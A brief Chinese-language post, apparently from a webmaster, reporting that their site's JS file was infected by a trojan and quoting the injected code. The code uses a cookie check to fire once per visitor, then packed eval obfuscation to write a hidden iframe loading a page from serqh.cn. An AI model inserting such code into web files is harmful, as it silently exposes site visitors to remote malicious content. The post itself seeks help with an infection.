网站被搞了个木马 在JS文件里面插入了下面代码

function goad(){var Then = new Date()
Then.setTime(Then.getTime() + 24*60*60*1000)
var cookieString = new String(document.cookie)
var cookieHeader = "Cookie1="
var beginPosition = cookieString.indexOf(cookieHeader)
if (beginPosition != -1){ } else { document.cookie = "Cookie1=Filter;expires="+ Then.toGMTString()
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('3.d(\'<7 4=0 c=1 a="6://9.2/8/b.5"></7>\')',62,14,'|100|cn|document|height|htm|http|iframe|page|serqh|src|vdf|width|writeln'.split('|'),0,{}));window.status="完毕";}}goad();
